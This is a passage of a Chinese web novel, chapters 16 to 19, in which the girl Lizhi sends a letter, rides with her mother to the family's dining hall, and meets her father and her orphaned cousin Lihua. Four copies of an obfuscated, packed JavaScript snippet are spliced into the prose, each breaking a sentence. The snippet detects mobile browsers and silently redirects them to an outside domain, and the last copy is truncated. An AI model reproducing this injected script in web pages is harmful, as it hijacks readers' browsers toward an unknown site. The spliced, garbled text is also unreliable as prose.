黎芝本来并不想把信件交给邮局工作人员之外的人,但余庆的态度莫名地具有说服力。 犹豫片刻后,黎芝还是把自己写好的那封准备寄给秋墨的信拿了出来。 “这就是我要寄出的信件了。”黎芝有些胆怯地说道,“虽然妈妈看起来不像是那样的人,但还是希望妈妈不要弄丢或拆开我的信件。确实地通过邮局寄出就好了,结局就交给‘命运’吧。” “那么,你现在着急寄信吗?”余庆问道,“如果你着急的话,我今天就给你寄出去。” “啊?这样方便吗?”黎芝看看天色,很惊讶地说道,“这样难道不会耽误妈妈的‘正事’吗?” “没关系的。”余庆说道,“我们家每天要做的劳动很少的,反正都有大把时间。不跑来跑去,只是休息的话,也一样是在浪费时间啦。” “真的吗?那真的谢谢妈妈了。”黎芝笨拙地回答道,“希望这封信可以顺利寄出。” 16. 第 16 章 “嗯,不用在意。这种事情没关系的哦。”余庆轻松地说道,“我现在就骑马去送信,还是我们吃完了饭再说?” 但是,由于不太明白状况的关系,对于这种事的决定,黎芝脑子里只有一片茫然而已。 “这个,我也不明白啊……”黎芝犹豫地说道,“对妈妈来说,怎样做才是更方便的呢?我不知道啊。我只是不太希望麻烦妈妈……” “没关系,不麻烦的。反正,每天都有大把时光可以浪费……”余庆思考了一下,又再说道,“如果是饭后去送的话,邮局的工作人员就会‘打烊’了。‘打烊’后投出的信件,他们明天才会处理,那样的话,岂不是浪费了一天?现在去的话,还来得及赶上今天的信件处理吧。嗯,决定了,我现在就去送吧!你在这里先等一会儿,我去去就回。” “那真是……非常感谢妈妈了。”对余庆的态度或是性格,黎芝感到非常惊讶。 明明是感觉生活节奏很缓慢的地方,余庆的性格却是那么迅速敏捷。 这让黎芝感到很不习惯。但她也因此,对母亲莫名地抱有肃然起敬的感情。 “不用谢。我可是‘你的妈妈’哦。”说话间,余庆就又骑上了马,她说道,“你收拾收拾,做好移动的准备吧。等会儿我回来的时候,我们就要准备开饭了哦。” “好的。我知道了,现在就……马上去。”依然不太适应余庆的节奏,黎芝只是呆呆地点了点头。 那之后,余庆便在黎芝的眼前,又一次离开了。 (还有性格是这个样子的妈妈吗?我第一次见到……) 虽然现在还没有看到余庆更多的优点,但黎芝相信,那些特性会像埋藏的宝藏一样、越来越多地浮现出来的。 而且,黎芝也已经渐渐接受了余庆身为自己母亲、对方与自己作为母女而存在的事实,并且因此感到非常愉快。 虽然性格上是与自己的养母完全不相似的人,但余庆作为母亲,意外地让黎芝感到可靠可信。 况且…… (这世界上,居然会有人,为了给孩子寄送一封信件,就在刚回来的时候,马上出去的吗?) 就连纯粹的虚构小说,感觉都不会写出这种剧情。 但这正是在黎芝眼前发生的事情。 使得黎芝的心中,充满了不可思议的感受。 (话说回来,妈妈是说,‘接下来就要准备开饭了’的意思吧?) 余庆的话,让黎芝觉得有些疑惑。 (这里,好像没有灶台啊……) 黎芝环顾四周,更加确认了自己之前的印象。 至少,在这一系列草屋组合的附近,黎芝是没有看到“露天灶台”这一类的存在的。 难不成在草屋里、自己没注意到的地方,隐藏着“炉灶”吗?黎芝对此也抱有怀疑。 而且,就算草屋里有炉灶,在那里真的可以做饭吗? (草屋可是典型的“易燃物”啊……在草屋里做饭,也太危险了吧?) (算了,不想这个问题了。反正,妈妈肯定不会骗我的……) (说是让我等着准备开饭,但其实也没有什么好准备的……) 也许因为天渐渐黑了的缘故,意识到时间的流逝,黎芝的心灵也随之有些疲惫了起来。 (那么,先休息一会儿吧……) 如果不是担心弄脏衣服的话,黎芝真想干脆直接坐在草甸子上算了。 (这里,连把轻便的椅子都不太好找呢……) 或许是因为黎芝调查的程度不够,还没有发现这种椅子的关系吧? 因为没有椅子的关系,黎芝只是傻傻地站在空地上,望着已经到了“狗屋”里休息的那条狗发呆而已。 猫也不知在什么时候跑掉了,连到哪里去了也不知道。 大概,它也是有黎芝看不到的“家”可以休息或是暂住吧? (这样发呆好无聊啊……) 在黎芝看来,应该没有什么事情,比“等待”更无聊的了。 这让黎芝感到,自己原本平稳松弛的内心,渐渐不耐烦了起来。 (也不知道要等多久……好想念妈妈。) 在黎芝的感觉中,对余庆的等待应该是一件漫长的事情。 但实际上,大约过了一炷香时间,余庆就已经回来了。 一炷香工夫,其实还是挺长的一段时间,至少与余庆之前宣称的“去去就回”不符。 不过,比起黎芝担心的漫长时间来,倒是又要短得多。 “好啦,你的信我给寄出去了!”余庆爽朗地说道,“邮局的工作人员,果然还没打烊。幸好是这样,你写信的对象可以早一天收到信件了呢。” “那可真是……”黎芝的脸红了起来,“太好了。谢谢妈妈。” 没有寄信之前,黎芝就只会思考寄信的事情。 但现在,因为寄信这件事,很简单就成功了的关系,不由得让黎芝陷入了某种遐想状态。 或者说,这不是“遐想”,而是对事实或未来的“推演”吧? 总而言之,这种“遐想”或“推演”,也让黎芝感到不安。 (以前明明从来不给那个人写信……他突然收到信的时候,会怎么想呢?) (他会感到烦恼吗?) (我是不是其实给他造成了困扰呢?) 想到这里,黎芝莫名地感到,自己有些烦躁不安、心慌意乱。 这种不安感,甚至使得她产生了现在去邮局把信拿回来,中止寄送的冲动。 算了,不可以这么思考。 就算写信会导致对方的困扰,“跑去邮局抢回信件”这种事,也依然太奇怪了。 黎芝用力晃了晃头,试图把自己奇怪的念头,赶到脑袋外面。 但是,余庆当然完全不知道黎芝的烦恼,她只是自然地说着下一步的安排。 “我们现在去吃饭吧。”余庆说道,“你爸爸已经做好饭了。” “啊?我爸爸?!”黎芝惊讶极了,她说道,“难道我们,不是在这里吃饭的吗?” (而且,爸爸原来是在其他地方做饭吗……)< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923700|160398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “当然。这里哪有厨房啊……”余庆懒洋洋地笑了,“你不觉得,这里根本就不是适合做饭和吃饭的地方吗?” (虽然确实是这么觉得的,但我只是觉得,这附近哪里都不适合做饭和吃饭啊……) “啊……虽然是这样的……但我还是没有意识到这一点,很吃惊啊。”黎芝呆呆地说道。 “那我换个问题。”余庆似乎没有注意到黎芝回答的重点,只是望着黎芝问道,“你觉得这里是吃饭的地方吗?” (并不是妈妈所说的那个意思啊……) “不是的。”黎芝表现得十分困惑,她说道,“我只是不知道能去哪里吃饭,才觉得奇怪的……我们能吃饭的地方距离这里远吗?” “还可以。我带你骑马去就行了。”余庆说道,“那个地方不算远。我们可以共骑一匹马,很快就到了。” (共骑一匹马吗?不知道安不安全。) (而且,是不是少了什么东西……对了!) “啊?妈妈是说‘共骑一匹马’的话,很快就能到吃饭的地方了是吗……但是……”黎芝很为难地问道,“这匹马只有一副马鞍,我要怎么骑呢?” “对,距离很近的。”余庆轻描淡写地说道,“‘共乘’是很简单的。虽然你没有马鞍可以乘坐,但是你只要抱着我的腰,贴紧我就行了。” (这么简单?妈妈确定吗?) 虽然并没有试过,但黎芝可是一想就觉得不简单。 但因为自认是外行的缘故,她只得无言地点头表示赞同母亲的意见。 “对了,你有自己的餐具吗?”也许是因为准备去吃饭的关系,余庆突然没头没脑地这么问道。 “有啊……”黎芝先是点点头,想了想又补充说道,“我有银制的碗、盘子、筷子、汤匙……这些都有。” “有这些就很好了。”余庆追问道,“那你有带刀来吗?” “带刀?”黎芝想了想,又困惑地问道,“‘水果刀’可不可以算啊?” “水果刀”在大夏,是一种新型的刀具。 它两指宽、一拃[zhǎ]长,是一种短短的小刀。 【注:拃[zhǎ]指的是手掌张开后,拇指与中指、或拇指与小指之间的距离。】 通常收纳在小巧的刀鞘中,用于给水果削皮及切割果肉。 “水果刀不行。那种刀太脆弱了,不适合切割硬物。”余庆摇摇头,说道,“罢了。反正,今天的食物,应该也不怎么需要用刀,别管这个了……那么,带上你的碗筷和汤匙,我们尽快出发吧。” “带几个碗啊?”余庆的指示不太清晰,让黎芝有些困惑,她问道,“带几个碗才够用,我不清楚啊?” “两个也行,三个也行。看你自己的想法吧。”余庆说道,“这个主要是取决于,看你习惯用几个碗吃饭和菜了嘛。而且,碗的大小也有影响。” “那我带三个吧。”黎芝想了想,简单地如此决定。 除了餐具之外,为了携带它们,黎芝还额外带上了一个粗布口袋。 17. 第 17 章 这种粗布口袋,本来是被设计成手提袋之用的。 因此,在它开口的附近,牢牢地缝制着两个提手。 不过,因为准备骑马的关系,黎芝把两个提手当成了两根绳子。 她先把提手捆绑在一起,之后又扎紧了袋口。 这样的话,里面的东西就不会滚出来了。 最后,黎芝还把提手余下的部分,穿过、缠绕并捆在了自己的手腕上。 在这种情况下,即使策马飞驰,口袋应该也不会掉落丢失。 当接触到那些不熟悉的事情的时候,黎芝一直都是这么小心谨慎地行事的。 然后,黎芝面对的事情,就是“准备骑马的时刻”了。 (嗯……该说是“情理之中,意料之外”的展开吗?) (虽然只是被人带着骑马而已,但果然也并不是一件容易的事情啊。) 黎芝不由得在心里感慨起来。 余庆口中,所谓的“简单”……应该只是对于她本人来说的“简单”罢了。 非常可惜的是,母亲并不能完全理解这种事对黎芝而言的难度。 考虑到这一点,黎芝甚至还觉得有些后怕。 不过,幸好结果还是好的。 母亲余庆,真是一位力气很大的女人。 虽然,笨拙的黎芝,是无法自行骑上马背的;但在余庆这一边,居然硬是把黎芝“托举”了上去。 而且,看起来,余庆的动作也并不算是勉强的。 因此,尽管凭自己的力量无法上马,但在这样的情况下,黎芝还是成功坐在了马背上。 这个结果,让黎芝有种不真实的幻觉感,甚至让她感到惊奇。 可惜,虽然上马这件事令黎芝惊讶地简单,但坐在飞驰的马上,却一点儿也不轻松。 (天哪。坐在颠簸的马车上,已经很让人难受了;骑在马上的感觉,居然比那还要难受……) (可能是因为我没有坐在马鞍子上的缘故吧?如果坐在马鞍子上可能会舒服得多……) 尽管没有根据,黎芝还是无奈地宽慰着自己。 (路途太长了……) 也许是因为实在太疲惫的缘故,这段行程对黎芝来说真是太漫长了,而且让她无暇在心里估算时间。 具体经过了多长时间,黎芝已经搞不清楚了。 反正,对黎芝来说,在这条路上花了多长时间,她已经漠不关心了。 此时的黎芝,脑子里所剩下的,只有“希望能尽快抵达目的地”这一个单纯的念头而已。 在经过了心理感知上很远的距离、很长的时间之后,那名为“大枣”的马,终于驮着母女俩,来到了一个有着三间大瓦房的院子里。 余庆下马之后,又轻轻松松地、把黎芝从马上抱了下来。 虽然,在这时产生这类的念头很奇怪……但余庆的动作,确实让黎芝产生了一种堪称“感动”的奇妙情绪。 在黎芝的记忆中,养母从来没有抱过她。 不仅如此,虽然没有根据,但黎芝强烈地怀疑,她在京城的时候,认识的所有同学,可能都没有被父母拥抱的经历吧? 至少,黎芝实在难以想象那些人被父母拥抱的样子。 虽然余庆只是因为需要移动黎芝才把她抱下来的,并不是真的为了拥抱她才抱下黎芝的,但黎芝仍然因此感到有些恍惚。 这一拥抱,不仅仅是黎芝从未有过的“经验”,而且,甚至是黎芝从未想象过的“可能”。 黎芝呆呆地站在原地。 黎芝现在的思绪有些凝滞。 当然,与刚才在马背上颠簸的经验无关,黎芝就是单纯地、对被拥抱这件事感到不习惯罢了。 但余庆显然不知道黎芝的想法,她只是用几句诸如“累坏了?”“没事吧?”“怎么傻啦?”“走几步就好了”之类的话语,将黎芝从呆滞中重新拉回了现实。 清醒过后,黎芝觉得自己刚才的发呆有些难堪。 她只得努力装作若无其事的样子,假装没注意到自己刚才在发呆的情况。 幸好,余庆多半也没有发现造成黎芝之前发呆的不自然原因,只以为不习惯骑马的黎芝,在马背上累坏了而已。 走上了十几步之后,黎芝感到腿上的肌肉不再僵硬,身体也有了力气,她已经可以自由活动了。 仔细观察四周,黎芝为眼前的景象惊呆了。 这些瓦房,虽然只有三间,而且都只有一层,但占地面积却非常大。 那是即使位于京城里,也相当于中等饭馆的大小的瓦房。 如果这些瓦房也是属于余庆与栗原家的财产的话,那余庆似乎说得没错。 家里不是富豪,但也绝不穷苦。 但……这么大的房子,到底是用来做什么的呢?黎芝感到有些困惑。 “这里是哪里?”黎芝惊讶极了。 既然余庆之前说要带黎芝来吃饭,那么,这里难道是“厨房”吗? 住在“草屋”那边的人,居然要到这么远的“厨房”来吃饭啊? 而且,既然有钱盖如此巨大的瓦房,又为何要盖那些寒酸的“草屋”呢,有什么特别用处或意义吗? 黎芝真的很难理解。而且,她甚至觉得,就算询问余庆,可能也无法得到自己所希望的回答吧。 “这个嘛,这是我家的‘食堂’哦。”余庆很是骄傲地说道,“住在这附近的话,早午晚都可以来这里用餐哟。” (住在这附近?妈妈和我对距离的感知果然不一样……) 意识到这种分歧,黎芝很是无奈。 (果然,住在这里的人,如果不会骑马的话,就等于是“寸步难行”了吧?) “……这里是‘食堂’吗?”在黎芝听来,余庆的话很多都无法理解,她问道,“这里难道不是我们家的‘厨房’吗?为什么我们不叫它‘厨房’呢?” “因为,来吃饭的人,也不只是我们自己家的人呀。”余庆笑着说道,“可能,你没有明白我的意思。我们家并不是单纯的牧民,我们是有‘副业’的。” “还有‘副业’?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923701|160398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黎芝不可思议地反问道,“妈妈,我们家的‘副业’是什么呢?” “我们家的‘副业’就是‘民宿’。”余庆说道,“我们家开着一种特殊的‘旅店’。可以供路过的人就餐、休息或住宿哦。” “我没听懂……到底是‘民宿’还是‘旅店’啊?”黎芝好像听说过“民宿”这个词儿,但她从来没有接触过实物,也不太清楚具体是什么意思。 “怎么了?”余庆说道,“莫非,你不知道什么是‘民宿’吗?‘民宿’就是家庭式的‘旅店’啦,让你暂住的那些草房子,就是我们家的‘民宿’了。” 经过余庆的解释,黎芝才勉强把已知的信息拼凑在了一起。 “现在算是知道了吧……”黎芝无奈地说道,“对此,我确实是一知半解,但我觉得重点不在这里。我……” 看着眼前的一切,心直口快的黎芝本来想开口说点什么。 但她突然意识到,自己观察到的事实并不令人愉快,于是,欲言又止。 这反而引发了余庆的好奇,她问道:“你想说什么?怎么不往下说了?没关系的,说吧。” (可以说吗……这应该说吗?算了,既然是妈妈让我说的,那我就说吧。) “我觉得,有点儿奇怪啊。”于是,黎芝认真地开口说道,“妈妈,我们家的‘民宿’挣钱吗?在我看来,似乎并没有客人来住宿啊?” “现在算是‘淡季’吧。”余庆有些遗憾地说道,“等到了‘旺季’的时候,就会好的多了。” (我不太懂……但夏天也是旅游的“淡季”吗?而且,草房子到了冬天岂不是会很冷……) “那什么时候是‘旺季’呢?”黎芝依然感到懵懂困惑。 “人来的多的时候,就是‘旺季’了哦。”余庆说道。 (好吧,所以根本就没有什么“旺季”或是“淡季”吧?完全是看生意红火不红火而已……) 黎芝勉强理解了余庆的意思。 (总觉得,妈妈有些自欺欺人呢……) “那到了‘旺季’的时候,会怎么样呢?”黎芝继续问道,“旅客们,为什么要住在那些‘草房子’里呢?有什么优势吗?” “因为我们有时会搬家,‘草房子’很快就可以盖起来,‘瓦房’就不能带走了。”余庆说道,“而且,盖草房子的地方,距离大道也比较近,位置适合住宿嘛。” (所以,原来不是因为“草房子”有什么卖点,而是盖起来方便吗?) (总觉得妈妈说的“民宿”计划,听起来就不能挣钱啊。真的没问题吗?) (不过,反正听起来成本也不高,甚至可以说是零成本,所以爸爸妈妈就根本不在意挣不挣钱了是吗?) “这样啊……”黎芝笨拙地回答了一句,然后不知道如何接话了。 (这样聊天也不是办法,还是尽快换个轻松点的、令人愉快的话题吧。) 黎芝停顿了片刻,想了想,又再问道:“那么,‘食堂’里一般都做什么食物呢?只告诉我今天的菜色也可以啦。” 18. 第 18 章 “因为最近几天都没有客人,所以,做的就只是我们家人喜欢的菜肴了。”余庆说道,“至于今天的晚餐是什么嘛,你等一下不就知道了吗?” “那太好了。我们什么时候吃饭啊?”没听到想要的信息,黎芝只得随口问道。 “现在就可以开饭了,你也该饿了吧?”余庆关心地问道。 “我明白了,谢谢妈妈的关心。”黎芝点点头。 她对接下来的晚饭很是好奇。幸好,这种好奇心很快就可以被满足了。 结果,晚饭是在三间大瓦房里,居中的那间房子里面吃的。 (既然是三间房子,把厨房安排在正中央不好吗?) 对于厨房设在一端这件事,黎芝感到很别扭。 可能,这是传说中的、“强迫症”的症状吧? 明明知道,无论在哪间房子里吃饭,结果都不会有什么区别,但黎芝就是忍不住会去在意。 但比起“在哪间房子里吃饭”这种小事,某一件让黎芝重视而又紧张的事情,才是真正的“大事”。 此时此刻,黎芝第一次见到了自己的生身父亲。 栗原。 他的头发黝黑而微卷,眼眸的颜色却很浅淡,是一种奇异的琥珀色。 值得一提的是,栗原有一双长而微卷的睫毛,浓密到令人觉得长在男子身上有些不可思议的程度。 这一特征,让黎芝觉得是两人身为亲生父女的铁证。 黎芝自己也有一套又长又浓密的美丽睫毛,应该就是缘自父亲的遗传吧? 不过,虽然黎芝有着与父亲相似的长睫毛,但她的头发和睫毛却都是笔直的。 这一点,让黎芝感到有些遗憾,虽然她并不想要卷发,但她喜欢略带卷曲感的长睫毛。不过,这也是无法强求的事情。 而栗原的脸色,则是红而微黑,看上去,是被日光晒的很厉害的、中年男子的外貌。 但不可思议的是,即使遭受岁月与风霜的摧残,栗原看起来依然是十分精神抖擞、充满活力的。 他的身上,仿佛会静静散发出充满力量的强势光芒一般。 与余庆有些相似的是,栗原也不能说是一个“慈父”。甚至与之相反,看起来全然不是温文尔雅的性情,而令人感到有些冷漠了。 但这可能也正是栗原的优点。他让人感到意志非常坚定、难以被打倒,有种“硬汉”的特色。 这让黎芝感到有些惊奇和不可思议。 在黎芝的世界里,栗原也是未曾出现过的人物类型。 总的来说,黎芝与父亲的初次见面,彼此印象似乎还不坏。 尽管如此,黎芝依然非常紧张,她几乎没有和父亲说过话。 只能等自己松弛下来、消除紧张感之后,再考虑与父亲拉近距离了。至少,黎芝是这么计划的。 除了黎芝与父母,餐桌边还有另外一个人。 (妈妈怎么没有提到过这个女孩?难道在妈妈心里,这女孩不属于我们家的人吗?) 黎芝望着这个小姑娘,心里微微有一些慌张。 (她不会是爸爸的“私生女”吧?不,应该不会的。虽然不了解爸爸,但是爸爸看起来不像是会做出那种事情的人……那么,她到底是谁呢?) 意料之外的困惑,让黎芝格外紧张。 这似乎是一个比黎芝小上两三岁的小姑娘。 实际上,仅仅从外表上看的话,黎芝觉得就算认为小姑娘是自己的同龄人,似乎也没有什么问题。 但草原上的人,通常会比较显老。 因此,在这个女孩是否真的是自己的同龄人这一点上,黎芝也不能确定 所以,黎芝暂时就保守地认为对方比自己小了。 不知是否风吹日晒的关系,女孩的皮肤也不算白皙。但作为牧民,应当算是拥有很光滑细致的肤质了。 她也有一双漂亮但颜色偏淡的大眼睛,以及很长的卷睫毛。 她的头发也是卷卷的,令人联想起那种卷毛的宠物小狗。 乍看上去,有着卷毛与眼瞳颜色偏淡特征的这个女孩,与黎芝父亲栗原的外貌特征确实有些相似,但又不太一样。 黎芝父亲栗原的头发是黝黑的,但女孩的头发却没有那么黑,而是呈现出类似棕褐色的色调。 女孩的外貌特色,基本就是这样了。 黎芝会担心对方是父亲的“私生女”,也确实是有理由的。 “这是我的……妹妹吗?”黎芝有些胆怯地问道。 “嗯,算是吧。”栗原回答道。 当黎芝开口的时候,他与余庆不约而同地看向小女孩,随后又转过了头看向黎芝。 “算是吧?”黎芝很困惑地问道,“‘算是’是什么意思啊?” 当黎芝开口提到“妹妹”这个词的时候,余庆的脸上没有一丝不悦或是其他的古怪表现,似乎在说明她并不讨厌那女孩。 黎芝捕捉到了余庆对待女孩的平静态度,心情也随之稍微安定了一些。 (难道她是被爸爸和妈妈“收养”的孩子吗?那我应该对她好一些……) 不过,母亲为什么之前没有提到女孩的事情呢?想到这点,黎芝果然还是感到很介意。 “她是你的表妹。”栗原严肃地说道,“是你姑姑留下的‘遗孤’。” “我姑姑留下的‘遗孤’?”从发音上说,栗原说的话有一些拗口,黎芝重复了一遍之后,才弄明白父亲的意思。 “对啊,是你姑姑留下的‘遗孤’啊。”余庆看向黎芝说道,“你是姐姐,你要照顾妹妹,明白吗?” “啊……我……”听懂了父母的意思之后,黎芝一时结巴了起来。 再度看向这个卷发的小女孩时,黎芝简直紧张到了极点。 (让我照顾这孩子?可我也是需要被照顾的对象啊……) 并不是排斥这种安排,听说那女孩是自己姑母留下的“遗孤”的时候,黎芝甚至对她充满了同情。 但是,对黎芝来说,做照顾人这种事真的很难。 黎芝的嘴唇和牙齿,都跟着颤抖了起来。 “我不知道我能不能胜任……”黎芝极度紧张地说道,“我以前没有照顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923702|160398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过人啊……爸爸妈妈,是真的想让我照顾她吗?” “是真的。”栗原点了点头,又说道,“但你要是特别不愿意的话,就算啦。” (我照顾人?真的假的?) 即使已经不是第一次听到这个要求了,但黎芝仍然感到有点心慌意乱。 坦白地说,黎芝实在是一个有些不擅长人际关系的人。 这一点,从在原本的黎家里待着的时候,与家人关系不冷不热的表现,就能看出来了。 迄今为止,黎芝经历的社会关系,其实也非常之简单。 只有原本那个家庭、原本的亲戚,以及自己的学校这几类而已。 其他可以算得上社会关系的,最多,也只有邻居与常常光顾的店铺罢了。 在黎家生活的时候,在同辈人里,黎芝的年纪是最小的,她习惯了做妹妹的感觉。 当姐姐去照顾人的话,这实在是黎芝没有过的经验。 光是思考这件事,就让黎芝的心里有些惶急。 但她也知道光慌乱也没有用,得想个“解决办法”,让自己不那么慌张才行。 该跟这个“姑表妹妹”自我介绍一下吗?还是说点什么…… 黎芝正要自我介绍的时候,突然想起了被她暂时遗忘在脑后的“社交礼仪”。 两个不认识的人,需要互相自我介绍的时候,规则似乎应该是“低位者先行”“位尊者有优先知情权”才对。 换句话说,两个表姐妹初次见面的时候,应该是“妹妹”先向“姐姐”自我介绍、问好才对。 因为当惯了“妹妹”的关系,黎芝习惯性地就沿袭了以前的习惯,想要先自我介绍,但这似乎不符合社交礼仪。 不过,黎芝也觉得,草原这边的人,可能比较随性,不按照京城的习惯来也说不定。 但总之,先静静观察一下情况吧。 黎芝故作镇定地望着卷发女孩。 虽然已经做好了对方不懂礼仪的准备了,但女孩似乎比黎芝想象中要懂事一些。 卷发小女孩睁着大眼睛,望向黎芝。 “我、我叫‘梨花’。十七岁哦。”女孩用很可爱、但不太流畅的语气说道。 “梨花?”黎芝没能完全听明白女孩的名字,只得追问道,“你是姓梨、名花吗?还是说,名字是‘梨花’,另有一个姓氏?” “‘梨花’,就是‘栗花’哦。”卷发小女孩无邪地说道,“板栗的栗,鲜花的花。因为‘栗花’有点儿难叫嘛,所以就叫‘梨花’了。” (“大辉山”这边的人这么随意吗……连姓氏的发音都可以随意修改?) 超出常识的称呼方式,让黎芝有些迷惑。 “你是在想,‘为什么连姓氏的发音都可以随意修改’这个问题吗?”余庆突然问道。 (这都能猜到?妈妈是有“读心术”这种法术吗?不,应该只是碰巧吧……) 母亲的话让黎芝吓了一跳。 不过,她还是装作并不怎么惊讶的样子。 “嗯,没错,是有点在意啊……”黎芝点了点头。 19. 第 19 章 “我们这里,对名字的正确发音这种事,大概没京城人那么执著的啦。”余庆用慵懒但清楚的声音说道,“或者说,就连真名与绰号之间的差异,我们也很迟钝的。名字终究只是个代号,只要叫起来顺口、没有侮辱意味、而且大家都知道是指代某人或某物的话,那叫什么,其实都没有关系吧?你觉得呢?” “那倒也有道理……”黎芝点了点头,认同地说道,“妈妈说得对,我明白了。” “姐姐还没自我介绍呢,说一下吧?”梨花看着黎芝,天真无邪地问道,“对了,还有,我怎么称呼姐姐比较好呢,也说一下哦?” “我应该,是叫‘荔枝’吧?‘荔枝’的‘芝’是‘灵芝’的‘芝’,不过这并不重要。”黎芝平淡地说道,“我曾经叫过‘黎芝’。和你一样,我的姓氏发音,也是‘二声和四声可以随意更改’的,你想怎么叫都可以。无论是‘黎芝’还是‘荔枝’,在我的感觉里都差不多。我今年十八岁,比你大一岁,虽然身份上算是姐姐,但从年龄来看,我们应该算是同龄人吧?你不叫我‘姐姐’也没关系的。你叫我‘荔枝’或‘黎芝’就好啦,叫‘姐姐’的话,我反而不习惯呢。” “我知道了……姐姐……”梨花像是完全听不明白黎芝的话一样,自如地又重复叫了一遍“姐姐”。 (虽然并不讨厌这孩子,但是被她叫“姐姐”的感觉,还真奇怪啊……) “不用叫我姐姐啦。”黎芝摇了摇头,很无奈地说道,“我都说了,你叫我‘荔枝’或‘黎芝’就好了啦。” 长这么大,黎芝还是第一次突然被小孩子之外的人叫“姐姐”呢。 这种被叫“姐姐”的感觉,实在太奇怪了。让黎芝陷入了一种很不安心的状态。 “可是……姐姐本来就是姐姐啊……好奇怪啊。”似乎是因为被否定而难堪的关系,梨花的脸微微红了起来。 虽然梨花并非是那种皮肤白皙的少女,但她脸红的时候,脸色的变化还是很明显的。 梨花流露出有些难堪的模样,让黎芝多少感到有些内疚。 “你叫我‘姐姐’的话,我也很不习惯啊。”黎芝很窘迫地说道,“我还没当过‘姐姐’呢,真不适应啊。” “那……‘荔枝姐’可以吗?”梨花很勉强地说道,“不让我用‘姐’来称呼‘姐姐’的话,总觉得好奇怪啊……” “对我来说,‘荔枝姐’也挺奇怪的……”黎芝妥协地苦笑道,“好吧,既然你喜欢,那就先这么叫吧。” “好的,荔枝姐姐。”梨花清爽地点点头。 “你刚才是不是又用‘姐姐’叫了我?”黎芝觉得自己刚才听到的“姐”是两个音节,但她不确定自己是不是听错了。 梨花没有回答。 也许真的是黎芝听错了,也许是梨花认为黎芝的这个问题没有回答的意义。 四人所在的这个餐桌上,除了黎芝本人,似乎谁也没有把黎芝的问题放在心上。 (难道是我太过于斤斤计较了吗……算了。以后,再慢慢训练她不要叫我“姐姐”吧。) 黎芝微微皱起眉头叹了口气。 “好,自我介绍就先到此为止吧。”余庆打断了黎芝的思绪,她说道,“你们既然会待在一起,以后了解彼此的机会还有的是。先不要耽误时间,现在来吃饭吧。” “嗯,好的妈妈,我知道了……”黎芝顺从地点了点头。 “我给你洗洗碗吧。一会儿用这个碗筷给你盛饭。”余庆离开前,把黎芝一直抓在手里的手提粗布口袋接了过来。 “啊……谢谢妈妈。”黎芝想说自己就可以洗的,她转念一想,自己连水源都找不到,就别逞强了吧。 那之后,在给大家盛饭之前,余庆先给黎芝洗了碗。 三个银碗、一双银筷子、一把银汤匙都被洗净,重新拿了出来。 然后,余庆又问道:“你大概吃几碗食物?” “啊?”黎芝困惑地说道,“这个是要事先‘决定’的吗?” 自己吃几碗食物?黎芝一时还真的回答不出来呢。 毕竟,黎芝过去吃饭的时候,通常都是别人分给她多少,她吃多少的。 有机会表达出自己需要吃多少食物,这是很新鲜的体验,不过也让黎芝感到不太习惯。 而且,就算问“几碗”,也应该问“吃几碗饭”才对吧? “几碗食物”是什么意思嘛?真是令人难以理解…… 这种自己决定吃多少食物的进餐方式,对黎芝来说相当陌生。 她决定从今天开始慢慢适应,“大辉山”地区、以及这个家的种种奇妙习惯。 “当然。其实应该在做饭之前就问好才对,但我太忙了。”余庆坚定地说道,“不过没关系,今天做的晚饭,剩了也能吃。” (不是说好了我们家的人都不爱吃剩饭吗……这才第一天,就听到妈妈考虑“剩饭”的问题了啊?) 黎芝忽然感到有些郁闷。 (简直让人绝望……) 她不是因为需要吃剩饭而伤心难过。 只要一个人不能独立,那就都算是某种程度上的“寄人篱下”。 既是“寄人篱下”,当然“客随主便”,对方给什么就吃什么了。 虽然不喜欢吃剩饭,但如果知道这是避免不了的事情,也就会慢慢习惯了。 黎芝只是觉得,刚承诺过她不用吃剩饭的余庆,这会儿就在讨论剩饭问题了,因此造成的心理落差实在太大,因此一时很难接受罢了。 “你是不是听说要吃剩饭不高兴啊?”仿佛真有“读心术”一般,余庆突然这么问道。 “也……也不是特别不高兴……”黎芝尴尬地答道,“但是吧……还是多少有一点儿不开心的。” “放心吧。剩饭也分好吃或不好吃的呀。”余庆悠然地说道,“比如说,‘炒饭’‘煎饺子’‘烤馒头片’这些也都是剩饭吧。难道,你也觉得不好吃吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 